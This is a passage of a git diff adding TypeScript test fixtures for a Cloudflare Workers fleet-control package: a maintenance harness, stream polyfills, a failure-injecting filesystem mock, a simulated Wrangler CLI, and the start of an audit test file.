+      return Response.json({ error: messageOf(error) }, { status: 500 });
+    }
+  },
+} satisfies ExportedHandler<Env>;
diff --git a/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts b/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts
new file mode 100644
index 00000000..23d334c4
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts
@@ -0,0 +1,215 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { fileURLToPath } from 'node:url';
+import type { D1Database, R2Bucket } from '@cloudflare/workers-types';
+import { seedDeploymentIdentity } from '@proofoftech/flowsafe/do-runner';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import { deploymentSpecDigest } from '../../src/spec-digest.js';
+import type { DeploymentSecrets, DeploymentSpec } from '../../src/types.js';
+import dispatchWorker, {
+  type FleetDispatchEnv,
+} from '../../src/workers/dispatch.js';
+import { externalReleaseScriptName } from '../../src/workers-for-platforms-backend.js';
+
+export async function createWfpMaintenanceHarness(
+  input: Readonly<{
+    catalog: DeploymentSpec;
+    external: DeploymentSpec;
+    secrets: DeploymentSecrets;
+    publicKey: string;
+  }>,
+) {
+  let catalog = input.catalog;
+  let catalogEnrolled = true;
+  const workerNames = ['wfp-catalog', 'wfp-state', 'wfp-candidate'] as const;
+  const main = fileURLToPath(
+    new URL('../../scripts/direct-credentialed-tenant.ts', import.meta.url),
+  );
+  function options() {
+    return {
+      root: fileURLToPath(new URL('../..', import.meta.url)),
+      workers: workerNames.map((name, index) => {
+        const spec = name === 'wfp-catalog' ? catalog : input.external;
+        const candidate = name === 'wfp-candidate';
+        const state = name === 'wfp-state';
+        const required = candidate || state || catalogEnrolled;
+        return {
+          config: {
+            name,
+            main,
+            compatibility_date: '2026-08-06',
+            vars: {
+              DEPLOYMENT_TENANT: spec.tenantTag,
+              FLEET_ENVIRONMENT: spec.environment,
+              DEPLOYMENT_IDENTITY_SECRET: input.secrets.deploymentIdentity,
+              ...(candidate
+                ? {}
+                : { MAINTENANCE_ADMIN_SECRET: input.secrets.maintenanceAdmin }),
+              ...(required
+                ? { FLEET_MAINTENANCE_CAPABILITIES: 'required' }
+                : {}),
+              FLEET_SPEC_DIGEST: state
+                ? 'e'.repeat(64)
+                : deploymentSpecDigest(spec),
+              ...(!candidate && required
+                ? {
+                    FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: input.publicKey,
+                    FLEET_DEPLOYMENT_SCRIPT: state
+                      ? 'external-stable-state'
+                      : spec.scriptName,
+                    FLEET_RESOURCE_ROLE: state
+                      ? 'platform-state'
+                      : 'platform-catalog',
+                  }
+                : {}),
+            },
+            d1_databases: [
+              {
+                binding: 'DB',
+                database_name: name,
+                database_id: `00000000-0000-0000-0000-00000000003${index}`,
+              },
+            ],
+            durable_objects: {
+              bindings: [
+                { name: 'RUNNER', class_name: 'Runner' },
+                {
+                  name: 'MAINTENANCE',
+                  class_name: 'Maintenance',
+                  ...(candidate ? { script_name: 'wfp-state' } : {}),
+                },
+              ],
+            },
+            migrations: [
+              {
+                tag: 'v1',
+                new_sqlite_classes: candidate
+                  ? ['Runner']
+                  : ['Runner', 'Maintenance'],
+              },
+            ],
+          },
+        };
+      }),
+    } satisfies Parameters<typeof createTestHarness>[0];
+  }
+  let server: TestHarness;
+  let control: TestHarness;
+  async function close() {
+    const results = await Promise.allSettled([
+      (async () => server?.close())(),
+      (async () => control?.close())(),
+    ]);
+    const errors = results.flatMap((result) =>
+      result.status === 'rejected' ? [result.reason] : [],
+    );
+    if (errors.length)
+      throw new AggregateError(errors, 'WFP native fixture cleanup failed');
+  }
+  const calls: Array<{ scriptName: string; options: unknown }> = [];
+  const requests: Request[] = [];
+  async function targetFetch(
+    name: (typeof workerNames)[number],
+    request: Request,
+  ): Promise<Response> {
+    return server.getWorker(name).fetch(request.url, {
+      method: request.method,
+      headers: [...request.headers],
+      ...(request.method === 'GET' || request.method === 'HEAD'
+        ? {}
+        : { body: await request.arrayBuffer() }),
+    });
+  }
+  const dispatcher: FleetDispatchEnv = {
+    FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: input.publicKey,
+    TENANT_CPU_LIMIT_MS: '1000',
+    TENANT_SUBREQUEST_LIMIT: '50',
+    HOSTS: {
+      async get() {
+        throw new Error('maintenance unexpectedly consulted host routing');
+      },
+    },
+    DISPATCH: {
+      get(scriptName, _arguments, options) {
+        calls.push({ scriptName, options });
+        const name =
+          scriptName === catalog.scriptName
+            ? 'wfp-catalog'
+            : scriptName === externalReleaseScriptName(input.external)
+              ? 'wfp-candidate'
+              : undefined;
+        if (!name) throw new Error('unexpected fixture dispatch target');
+        return { fetch: (request) => targetFetch(name, request) };
+      },
+    },
+  };
+  const requestFetch: typeof fetch = async (input, init) => {
+    const request = new Request(input, init);
+    requests.push(request.clone());
+    return dispatchWorker.fetch(request, dispatcher);
+  };
+  try {
+    server = createTestHarness(options());
+    control = createTestHarness({
+      root: fileURLToPath(new URL('../..', import.meta.url)),
+      workers: [
+        {
+          config: {
+            name: 'wfp-control',
+            main: fileURLToPath(
+              new URL('../../src/workers/dispatch.ts', import.meta.url),
+            ),
+            compatibility_date: '2026-08-06',
+            d1_databases: [
+              {
+                binding: 'DB',
+                database_name: 'wfp-control',
+                database_id: '00000000-0000-0000-0000-000000000034',
+              },
+            ],
+            r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'fleet-exports' }],
+          },
+        },
+      ],
+    });
+    await server.listen();
+    await control.listen();
+    for (const name of workerNames) {
+      const env = await server.getWorker<{ DB: D1Database }>(name).getEnv();
+      await seedDeploymentIdentity(
+        env.DB,
+        name === 'wfp-catalog' ? catalog.tenantTag : input.external.tenantTag,
+        'open',
+      );
+    }
+  } catch (error) {
+    try {
+      await close();
+    } catch (cleanupError) {
+      throw new AggregateError(
+        [error, cleanupError],
+        'WFP fixture startup and cleanup failed',
+      );
+    }
+    throw error;
+  }
+  return {
+    fetch: requestFetch,
+    requests,
+    calls,
+    catalogFetch: (request: Request) => targetFetch('wfp-catalog', request),
+    async updateCatalog(spec: DeploymentSpec, enrolled = true) {
+      catalog = spec;
+      catalogEnrolled = enrolled;
+      await server.update(options());
+    },
+    async fleetDatabase() {
+      return (await control.getWorker<{ DB: D1Database }>().getEnv()).DB;
+    },
+    async exportBucket() {
+      return (await control.getWorker<{ EXPORTS: R2Bucket }>().getEnv())
+        .EXPORTS;
+    },
+    close,
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/worker-streams.ts b/packages/fleet-control/test/fixtures/worker-streams.ts
new file mode 100644
index 00000000..76c98f04
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/worker-streams.ts
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import type {
+  DigestStreamConstructor,
+  FixedLengthStreamConstructor,
+  R2DatabaseExportStoreStreamPrimitives,
+} from '../../src/r2-export-store.js';
+
+export class NodeDigestStream extends WritableStream<
+  ArrayBuffer | ArrayBufferView
+> {
+  readonly digest: Promise<ArrayBuffer>;
+  readonly #byteCount: { value: number };
+
+  constructor(_algorithm: 'SHA-256') {
+    const hash = createHash('sha256');
+    const byteCount = { value: 0 };
+    let resolveDigest: (value: ArrayBuffer) => void = () => undefined;
+    let rejectDigest: (reason: unknown) => void = () => undefined;
+    const digest = new Promise<ArrayBuffer>((resolve, reject) => {
+      resolveDigest = resolve;
+      rejectDigest = reject;
+    });
+    super({
+      write(chunk) {
+        const bytes = ArrayBuffer.isView(chunk)
+          ? new Uint8Array(chunk.buffer, chunk.byteOffset, chunk.byteLength)
+          : new Uint8Array(chunk);
+        hash.update(bytes);
+        byteCount.value += bytes.byteLength;
+      },
+      close() {
+        const result = hash.digest();
+        const bytes = new Uint8Array(result.byteLength);
+        bytes.set(result);
+        resolveDigest(bytes.buffer);
+      },
+      abort(reason) {
+        rejectDigest(reason);
+      },
+    });
+    this.digest = digest;
+    this.#byteCount = byteCount;
+  }
+
+  get bytesWritten(): number {
+    return this.#byteCount.value;
+  }
+}
+
+export class NodeFixedLengthStream extends TransformStream<
+  Uint8Array,
+  Uint8Array
+> {
+  constructor(expectedLength: number) {
+    let bytesWritten = 0;
+    super(
+      {
+        transform(chunk, controller) {
+          bytesWritten += chunk.byteLength;
+          if (bytesWritten > expectedLength) {
+            throw new Error(
+              'Attempt to write too many bytes through a FixedLengthStream.',
+            );
+          }
+          controller.enqueue(chunk);
+        },
+        flush() {
+          if (bytesWritten !== expectedLength) {
+            throw new Error(
+              'FixedLengthStream did not see all expected bytes before close().',
+            );
+          }
+        },
+      },
+      undefined,
+      {
+        highWaterMark: Math.max(expectedLength, 1),
+        size: (chunk) => chunk.byteLength,
+      },
+    );
+  }
+}
+
+// These casts adapt Node stream objects to
+// workers-types at the injection boundary.
+export const nodeWorkerStreams: R2DatabaseExportStoreStreamPrimitives = {
+  DigestStream: NodeDigestStream as unknown as DigestStreamConstructor,
+  FixedLengthStream:
+    NodeFixedLengthStream as unknown as FixedLengthStreamConstructor,
+};
diff --git a/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts b/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts
new file mode 100644
index 00000000..8b233ef2
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/wrangler-fs-mock.ts
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterEach, vi } from 'vitest';
+
+export interface PlainWorkerFsControl {
+  failFleetCleanup: boolean;
+  residualDirectory: string | undefined;
+  cleanupError: unknown;
+  failOperation?: 'mkdtemp' | 'writeFile' | 'chmod' | 'stat';
+  operationError?: unknown;
+  mkdtempCalls?: number;
+  scratchDirectories?: string[];
+}
+
+export async function createFsPromisesMock(control: PlainWorkerFsControl) {
+  const actual =
+    await vi.importActual<typeof import('node:fs/promises')>(
+      'node:fs/promises',
+    );
+  return {
+    ...actual,
+    async mkdtemp(...arguments_: Parameters<typeof actual.mkdtemp>) {
+      if (String(arguments_[0]).includes('anchorage-fleet-')) {
+        if (control.mkdtempCalls !== undefined) control.mkdtempCalls += 1;
+        if (control.failOperation === 'mkdtemp') {
+          throw control.operationError;
+        }
+      }
+      return actual.mkdtemp(...arguments_);
+    },
+    async writeFile(...arguments_: Parameters<typeof actual.writeFile>) {
+      if (
+        control.failOperation === 'writeFile' &&
+        String(arguments_[0]).includes('anchorage-fleet-')
+      ) {
+        throw control.operationError;
+      }
+      return actual.writeFile(...arguments_);
+    },
+    async chmod(...arguments_: Parameters<typeof actual.chmod>) {
+      if (control.failOperation === 'chmod') throw control.operationError;
+      return actual.chmod(...arguments_);
+    },
+    async stat(...arguments_: Parameters<typeof actual.stat>) {
+      if (control.failOperation === 'stat') throw control.operationError;
+      return actual.stat(...arguments_);
+    },
+    async rm(
+      path: Parameters<typeof actual.rm>[0],
+      options: Parameters<typeof actual.rm>[1],
+    ) {
+      if (String(path).includes('anchorage-fleet-')) {
+        control.scratchDirectories?.push(String(path));
+      }
+      if (
+        control.failFleetCleanup &&
+        String(path).includes('anchorage-fleet-')
+      ) {
+        control.residualDirectory = String(path);
+        throw control.cleanupError;
+      }
+      return actual.rm(path, options);
+    },
+  };
+}
+
+export function registerScratchCleanup(
+  control: PlainWorkerFsControl,
+  defaults: {
+    readonly cleanupError: unknown;
+    readonly operationError?: unknown;
+  },
+): Set<string> {
+  const exportDirectories = new Set<string>();
+  afterEach(async () => {
+    const actual =
+      await vi.importActual<typeof import('node:fs/promises')>(
+        'node:fs/promises',
+      );
+    control.failFleetCleanup = false;
+    control.failOperation = undefined;
+    if (control.residualDirectory) {
+      await actual.rm(control.residualDirectory, {
+        recursive: true,
+        force: true,
+      });
+      control.residualDirectory = undefined;
+    }
+    await Promise.all(
+      [...exportDirectories].map((directory) =>
+        actual.rm(directory, { recursive: true, force: true }),
+      ),
+    );
+    exportDirectories.clear();
+    if (control.mkdtempCalls !== undefined) control.mkdtempCalls = 0;
+    if (control.scratchDirectories) control.scratchDirectories.length = 0;
+    control.cleanupError = defaults.cleanupError;
+    control.operationError = defaults.operationError;
+  });
+  return exportDirectories;
+}
diff --git a/packages/fleet-control/test/fixtures/wrangler-world-projection.ts b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts
new file mode 100644
index 00000000..d2d3aa7a
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts
@@ -0,0 +1,469 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { readdir, readFile, stat, writeFile } from 'node:fs/promises';
+import { basename, dirname, join, relative } from 'node:path';
+import type { WorkerModule } from '../../src/types.js';
+import type {
+  CommandResult,
+  CommandRunner,
+} from '../../src/wrangler-runner.js';
+import type { ProviderFailure, ProviderWorld } from './provider-world.js';
+
+const dynamicArgument = Symbol('dynamicArgument');
+type ExpectedArgument = string | typeof dynamicArgument;
+
+class WranglerArgvContractError extends Error {
+  declare readonly received: readonly string[];
+
+  constructor(
+    command: string,
+    expected: readonly ExpectedArgument[],
+    actual: readonly string[],
+  ) {
+    super(
+      `Wrangler argv contract for ${command}: expected ${JSON.stringify(
+        expected.map((value) =>
+          value === dynamicArgument ? '<dynamic>' : value,
+        ),
+      )}`,
+    );
+    this.name = 'WranglerArgvContractError';
+    Object.defineProperty(this, 'received', {
+      value: [...actual],
+      enumerable: false,
+    });
+  }
+}
+
+function assertArgv(
+  command: string,
+  actual: readonly string[],
+  expected: readonly ExpectedArgument[],
+): void {
+  if (
+    actual.length !== expected.length ||
+    expected.some(
+      (value, index) => value !== dynamicArgument && value !== actual[index],
+    )
+  ) {
+    throw new WranglerArgvContractError(command, expected, actual);
+  }
+}
+
+function assertDeploymentArgv(arguments_: readonly string[]): void {
+  const nameIndex = arguments_.indexOf('--name');
+  const versions = arguments_.slice(2, nameIndex);
+  if (
+    arguments_[0] !== 'versions' ||
+    arguments_[1] !== 'deploy' ||
+    nameIndex < 3 ||
+    versions.some((value) => !/^[^@]+@\d+(?:\.\d+)?%$/u.test(value)) ||
+    arguments_.length !== nameIndex + 3 ||
+    arguments_[nameIndex + 2] !== '-y'
+  ) {
+    throw new WranglerArgvContractError(
+      'versions deploy',
+      ['versions', 'deploy', dynamicArgument, '--name', dynamicArgument, '-y'],
+      arguments_,
+    );
+  }
+}
+
+function readField(value: unknown, name: string): unknown {
+  return value && typeof value === 'object'
+    ? Reflect.get(value, name)
+    : undefined;
+}
+
+function readString(value: unknown, name: string): string | undefined {
+  const candidate = readField(value, name);
+  return typeof candidate === 'string' ? candidate : undefined;
+}
+
+function readBoolean(value: unknown, name: string): boolean {
+  return readField(value, name) === true;
+}
+
+function readArray(value: unknown, name: string): readonly unknown[] {
+  const candidate = readField(value, name);
+  return Array.isArray(candidate) ? candidate : [];
+}
+
+function objectEntries(value: unknown): Array<readonly [string, unknown]> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) return [];
+  return Reflect.ownKeys(value).flatMap((key) =>
+    typeof key === 'string' ? [[key, Reflect.get(value, key)] as const] : [],
+  );
+}
+
+function json(value: unknown): CommandResult {
+  return { stdout: JSON.stringify(value), stderr: '' };
+}
+
+function versionViewBindings(bindings: readonly unknown[]): readonly unknown[] {
+  return bindings.map((binding) => {
+    const cloned = structuredClone(binding);
+    if (
+      !cloned ||
+      typeof cloned !== 'object' ||
+      Array.isArray(cloned) ||
+      Reflect.get(cloned, 'type') !== 'secret_text'
+    ) {
+      return cloned;
+    }
+    return { name: Reflect.get(cloned, 'name'), type: 'secret_text' };
+  });
+}
+
+function success(): CommandResult {
+  return { stdout: '', stderr: '' };
+}
+
+function argumentAfter(
+  arguments_: readonly string[],
+  flag: string,
+): string | undefined {
+  const index = arguments_.indexOf(flag);
+  return index < 0 ? undefined : arguments_[index + 1];
+}
+
+function injectedFailure(operation: string): Error {
+  return new Error(`injected Wrangler failure for ${operation}`);
+}
+
+async function settleFailure(
+  world: ProviderWorld,
+  operation: string,
+  failure: ProviderFailure | undefined,
+): Promise<void> {
+  if (failure?.response) {
+    throw new Error(
+      `ProviderFailure.response is REST-only; the CLI projection cannot settle ${operation}`,
+    );
+  }
+  await world.applyAfter(operation);
+  if (failure) throw failure.error ?? injectedFailure(operation);
+}
+
+async function stagedModules(
+  configPath: string,
+): Promise<readonly WorkerModule[]> {
+  const directory = dirname(configPath);
+  const entries = await readdir(directory, {
+    recursive: true,
+    encoding: 'utf8',
+  });
+  const modules: WorkerModule[] = [];
+  for (const entry of entries) {
+    if (
+      basename(entry) === 'wrangler.candidate.json' ||
+      basename(entry) === 'wrangler.secrets.json'
+    ) {
+      continue;
+    }
+    const path = join(directory, entry);
+    if (!(await stat(path)).isFile()) continue;
+    modules.push({
+      name: relative(directory, path),
+      content: await readFile(path, 'utf8'),
+    });
+  }
+  return modules.sort((left, right) => left.name.localeCompare(right.name));
+}
+
+async function configUpload(arguments_: readonly string[]): Promise<{
+  readonly scriptName: string;
+  readonly tag: string | undefined;
+  readonly mainModule: string;
+  readonly modules: readonly WorkerModule[];
+  readonly bindings: readonly unknown[];
+  readonly publicAccess: {
+    readonly workersDevEnabled: boolean;
+    readonly previewUrlsEnabled: boolean;
+  };
+}> {
+  const configPath = argumentAfter(arguments_, '--config');
+  const secretsPath = argumentAfter(arguments_, '--secrets-file');
+  if (!configPath || !secretsPath) {
+    throw new Error('Wrangler projection requires config and secrets paths');
+  }
+  const config: unknown = JSON.parse(await readFile(configPath, 'utf8'));
+  const secrets: unknown = JSON.parse(await readFile(secretsPath, 'utf8'));
+  const scriptName = readString(config, 'name');
+  const mainModule = readString(config, 'main');
+  if (!scriptName || !mainModule) {
+    throw new Error('Wrangler candidate config has no name or main module');
+  }
+  const bindings: unknown[] = [];
+  for (const [name, value] of objectEntries(readField(config, 'vars'))) {
+    bindings.push({ name, type: 'plain_text', text: String(value) });
+  }
+  for (const [name, value] of objectEntries(secrets)) {
+    bindings.push({ name, type: 'secret_text', text: String(value) });
+  }
+  for (const binding of readArray(config, 'd1_databases')) {
+    bindings.push({
+      name: readString(binding, 'binding'),
+      type: 'd1',
+      database_id: readString(binding, 'database_id'),
+    });
+  }
+  for (const binding of readArray(
+    readField(config, 'durable_objects'),
+    'bindings',
+  )) {
+    bindings.push({
+      name: readString(binding, 'name'),
+      type: 'durable_object_namespace',
+      class_name: readString(binding, 'class_name'),
+    });
+  }
+  for (const binding of readArray(config, 'services')) {
+    bindings.push({
+      name: readString(binding, 'binding'),
+      type: 'service',
+      service: readString(binding, 'service'),
+    });
+  }
+  for (const binding of readArray(readField(config, 'queues'), 'producers')) {
+    bindings.push({
+      name: readString(binding, 'binding'),
+      type: 'queue',
+      queue_name: readString(binding, 'queue'),
+    });
+  }
+  for (const binding of readArray(config, 'r2_buckets')) {
+    bindings.push({
+      name: readString(binding, 'binding'),
+      type: 'r2_bucket',
+      bucket_name: readString(binding, 'bucket_name'),
+    });
+  }
+  return {
+    scriptName,
+    tag: argumentAfter(arguments_, '--tag'),
+    mainModule,
+    modules: await stagedModules(configPath),
+    bindings,
+    publicAccess: {
+      workersDevEnabled: readBoolean(config, 'workers_dev'),
+      previewUrlsEnabled: readBoolean(config, 'preview_urls'),
+    },
+  };
+}
+
+export function cliProjection(world: ProviderWorld): CommandRunner {
+  return {
+    maxDurationMs: 5 * 60_000,
+    async run(arguments_) {
+      if (arguments_[0] === 'd1' && arguments_[1] === 'list') {
+        assertArgv('d1 list', arguments_, ['d1', 'list', '--json']);
+        return json(
+          world.databases.map(({ databaseId, name }) => ({
+            uuid: databaseId,
+            name,
+          })),
+        );
+      }
+      if (arguments_[0] === 'd1' && arguments_[1] === 'info') {
+        assertArgv('d1 info', arguments_, [
+          'd1',
+          'info',
+          dynamicArgument,
+          '--json',
+        ]);
+        const databaseId = arguments_[2] ?? '';
+        const database = world.databases.find(
+          (candidate) => candidate.databaseId === databaseId,
+        );
+        if (!database) throw new Error(`D1 database '${databaseId}' not found`);
+        return json({ uuid: database.databaseId, name: database.name });
+      }
+      if (arguments_[0] === 'd1' && arguments_[1] === 'create') {
+        assertArgv('d1 create', arguments_, ['d1', 'create', dynamicArgument]);
+        const name = arguments_[2] ?? '';
+        if (world.databases.some((database) => database.name === name)) {
+          throw new Error(`D1 database '${name}' already exists`);
+        }
+        const failure = world.consumeFailure('createDatabase');
+        if (!failure || failure.dispatched) {
+          world.createDatabase(name);
+        }
+        await settleFailure(world, 'createDatabase', failure);
+        return success();
+      }
+      if (arguments_[0] === 'deployments' && arguments_[1] === 'status') {
+        assertArgv('deployments status', arguments_, [
+          'deployments',
+          'status',
+          '--name',
+          dynamicArgument,
+          '--json',
+        ]);
+        const scriptName = argumentAfter(arguments_, '--name') ?? '';
+        const script = world.scripts.get(scriptName);
+        if (!script?.present || !script.deployment) {
+          throw new Error(`Worker '${scriptName}' has no deployments`);
+        }
+        await world.applyAfter('deploymentStatus');
+        return json({
+          versions: script.deployment.map(({ versionId, percentage }) => ({
+            version_id: versionId,
+            percentage,
+          })),
+        });
+      }
+      if (arguments_[0] === 'versions' && arguments_[1] === 'list') {
+        assertArgv('versions list', arguments_, [
+          'versions',
+          'list',
+          '--name',
+          dynamicArgument,
+          '--json',
+        ]);
+        const scriptName = argumentAfter(arguments_, '--name') ?? '';
+        const script = world.scripts.get(scriptName);
+        if (!script?.present) {
+          throw new Error(`Worker '${scriptName}' does not exist`);
+        }
+        await world.applyAfter('listVersions');
+        return json(
+          script.versions.map(({ versionId, tag }) => ({
+            id: versionId,
+            annotations: tag === undefined ? undefined : { 'workers/tag': tag },
+          })),
+        );
+      }
+      if (arguments_[0] === 'versions' && arguments_[1] === 'view') {
+        assertArgv('versions view', arguments_, [
+          'versions',
+          'view',
+          dynamicArgument,
+          '--name',
+          dynamicArgument,
+          '--json',
+        ]);
+        const scriptName = argumentAfter(arguments_, '--name') ?? '';
+        const versionId = arguments_[2] ?? '';
+        const script = world.scripts.get(scriptName);
+        const version = script?.present
+          ? script.versions.find(
+              (candidate) => candidate.versionId === versionId,
+            )
+          : undefined;
+        if (!version) {
+          throw new Error(`Worker version '${versionId}' not found`);
+        }
+        await world.applyAfter('viewVersion');
+        return json({
+          id: version.versionId,
+          annotations:
+            version.tag === undefined
+              ? undefined
+              : { 'workers/tag': version.tag },
+          resources: { bindings: versionViewBindings(version.bindings) },
+        });
+      }
+      if (
+        arguments_[0] === 'deploy' ||
+        (arguments_[0] === 'versions' && arguments_[1] === 'upload')
+      ) {
+        assertArgv(
+          arguments_[0] === 'deploy' ? 'deploy' : 'versions upload',
+          arguments_,
+          [
+            ...(arguments_[0] === 'deploy'
+              ? ['deploy']
+              : ['versions', 'upload']),
+            '--config',
+            dynamicArgument,
+            '--secrets-file',
+            dynamicArgument,
+            '--tag',
+            dynamicArgument,
+          ],
+        );
+        const failure = world.consumeFailure('uploadCandidate');
+        if (!failure || failure.dispatched) {
+          const { publicAccess, ...upload } = await configUpload(arguments_);
+          const initial = arguments_[0] === 'deploy';
+          world.applyUpload(
+            {
+              ...upload,
+              mode: initial ? 'initial' : 'staged',
+              ...(initial ? { publicAccess } : {}),
+            },
+            { duplicate: failure?.duplicate },
+          );
+        }
+        await settleFailure(world, 'uploadCandidate', failure);
+        return success();
+      }
+      if (arguments_[0] === 'versions' && arguments_[1] === 'deploy') {
+        assertDeploymentArgv(arguments_);
+        const scriptName = argumentAfter(arguments_, '--name') ?? '';
+        const script = world.scripts.get(scriptName);
+        if (!script?.present)
+          throw new Error(`Worker '${scriptName}' not found`);
+        const deployment = arguments_
+          .slice(2, arguments_.indexOf('--name'))
+          .map((entry) => {
+            const match = entry.match(/^(.+)@(.+)%$/u);
+            return {
+              versionId: match?.[1] ?? '',
+              percentage: Number(match?.[2]),
+            };
+          });
+        const operation =
+          deployment.length === 1 && deployment[0]?.percentage === 100
+            ? 'promoteWorker'
+            : 'deployCandidate';
+        const failure = world.consumeFailure(operation);
+        if (!failure || failure.dispatched)
+          world.applyDeployment(scriptName, deployment);
+        await settleFailure(world, operation, failure);
+        return success();
+      }
+      if (arguments_[0] === 'delete') {
+        assertArgv('delete', arguments_, [
+          'delete',
+          '--name',
+          dynamicArgument,
+          '--force',
+        ]);
+        const scriptName = argumentAfter(arguments_, '--name') ?? '';
+        const script = world.scripts.get(scriptName);
+        if (!script?.present)
+          throw new Error(`Worker '${scriptName}' not found`);
+        const failure = world.consumeFailure('deleteWorkerScript');
+        if (!failure || failure.dispatched) world.deleteScript(scriptName);
+        await settleFailure(world, 'deleteWorkerScript', failure);
+        return success();
+      }
+      if (arguments_[0] === 'd1' && arguments_[1] === 'export') {
+        assertArgv('d1 export', arguments_, [
+          'd1',
+          'export',
+          dynamicArgument,
+          '--remote',
+          '--skip-confirmation',
+          '--output',
+          dynamicArgument,
+        ]);
+        const databaseId = arguments_[2] ?? '';
+        const output = argumentAfter(arguments_, '--output');
+        if (!output) throw new Error('Wrangler D1 export has no output path');
+        const failure = world.consumeFailure('exportDatabase');
+        if (!failure || failure.dispatched) {
+          const bytes = world.exports.get(databaseId);
+          if (!bytes) throw new Error(`D1 database '${databaseId}' not found`);
+          await writeFile(output, bytes);
+          world.mutationLog.push(`export:${databaseId}`);
+        }
+        await settleFailure(world, 'exportDatabase', failure);
+        return success();
+      }
+      throw new WranglerArgvContractError('unknown command', [], arguments_);
+    },
+  };
+}
diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts
new file mode 100644
index 00000000..06e1e627
--- /dev/null
+++ b/packages/fleet-control/test/fleet-audit-advance.test.ts
@@ -0,0 +1,4236 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { auditFleetDrift, type DriftFinding } from '../src/fleet.js';
+import {
+  type AdvanceFleetAuditOptions,
+  abandonFleetAuditOperation,
+  advanceFleetAudit,
+  type FleetAuditAdvanceAction,
+  FleetAuditAdvanceCapabilityError,
+  type FleetAuditAdvanceResult,
+  readFleetAuditFindingsPage,
+} from '../src/fleet-audit-advance.js';
+import {
+  type FleetAuditProgress,
+  type FleetAuditStage,
+  fleetAuditFactRowFromUnknown,
+  fleetAuditProgressFromUnknown,
+} from '../src/fleet-audit-state.js';
+import {
+  canonicalFleetOperationBytes,
+  FLEET_OPERATION_INTAKE_BYTE_BOUND,
+  FLEET_OPERATION_ITEM_BOUND,
+  FLEET_OPERATION_NODE_BOUND,
+  FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND,
+  FLEET_OPERATION_ROW_READ_BOUND,
+  FLEET_OPERATION_STRING_BYTE_BOUND,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  type FleetOperationStore,
+  FleetOperationTokenFutureError,
+  FleetOperationTokenKindError,
+  FleetOperationTokenOperationError,
+  fleetOperationIntakeDigest,
+  fleetOperationItemsIntake,
+  readAllFleetOperationRows,
+} from '../src/fleet-operation-state.js';
+import { providerBindingIdentitiesForInspection } from '../src/provider-binding-inventory.js';
+import type {
+  DeploymentSpec,
+  FleetInventoryDeployment,
+  FleetInventoryFinding,
+  FleetRecord,
+  FleetResourceInventory,
+  FleetStateLease,
+  FleetStateStore,
+  LiveDeployment,
+  MaintenanceHealth,
+  ProvisioningBackend,
+  ProvisioningBackendKind,
+} from '../src/types.js';
+import {
+  AUDIT_NOW,
+  FakeOperationStore,
+  RegisteredGenerationInventoryRunStore,
+  uuidFor,
+} from './fixtures/fleet-operation-fakes.js';
+
+// ---------------------------------------------------------------------------
+// Fixed identities, clocks, and small builders. This world is INLINE and
+// INDEPENDENT of `test/fixtures/fleet-audit-world.ts`: it never imports that
+// fixture. The durable operation and inventory store fakes come from
+// `test/fixtures/fleet-operation-fakes.ts`, which carries no world of its own.
+// ---------------------------------------------------------------------------
+
+/**
+ * A view of `target` with exactly one method hidden — including inherited
+ * (prototype) methods, unlike an object spread, which drops every method a
+ * class declares on its prototype rather than as an instance field.
+ */
+function withoutMethod<T extends object>(target: T, method: keyof T): T {
+  return new Proxy(target, {
+    get(obj, prop, receiver) {
+      if (prop === method) return undefined;
+      const value = Reflect.get(obj, prop, receiver);
+      return typeof value === 'function' ? value.bind(obj) : value;
+    },
+    has(obj, prop) {
+      if (prop === method) return false;
+      return Reflect.has(obj, prop);
+    },
+  });
+}
+
+type RowsPageInput = Parameters<
+  FleetOperationStore['readOperationRowsPage']
+>[0];
+type RowsPage = Awaited<
+  ReturnType<FleetOperationStore['readOperationRowsPage']>
+>;
+
+function pageTransformingStore(
+  store: FleetOperationStore,
+  transform: (
+    readPage: () => Promise<RowsPage>,
+    input: RowsPageInput,
+  ) => RowsPage | Promise<RowsPage>,
+): FleetOperationStore {
+  return new Proxy(store, {
+    get(target, property, receiver) {
+      if (property === 'readOperationRowsPage') {
+        return async (input: RowsPageInput) =>
+          transform(() => target.readOperationRowsPage(input), input);
+      }
+      const value = Reflect.get(target, property, receiver);
+      return typeof value === 'function' ? value.bind(target) : value;
+    },
+  });
+}
+
+type StartOperationInput = Parameters<FleetOperationLease['startOperation']>[0];
+type StageRowsInput = Parameters<FleetOperationLease['stageRows']>[0];
+type CommitProgressInput = Parameters<FleetOperationLease['commitProgress']>[0];
+
+/**
+ * A `FakeOperationStore` view whose `created` outcome persists — and echoes —
+ * `persistedGeneration` instead of the generation the coordinator submitted,
+ * and whose first call to `fault.member` throws `fault.error` without writing.
+ * The fake hands its callback a plain lease object, so overriding two members
+ * is a spread rather than a second proxy.
+ */
+function divergentCreateStore(
+  store: FakeOperationStore,
+  persistedGeneration: number,
+  fault: Readonly<{ member: 'stageRows' | 'commitProgress'; error: Error }>,
+): FleetOperationStore {
+  let faultsRemaining = 1;
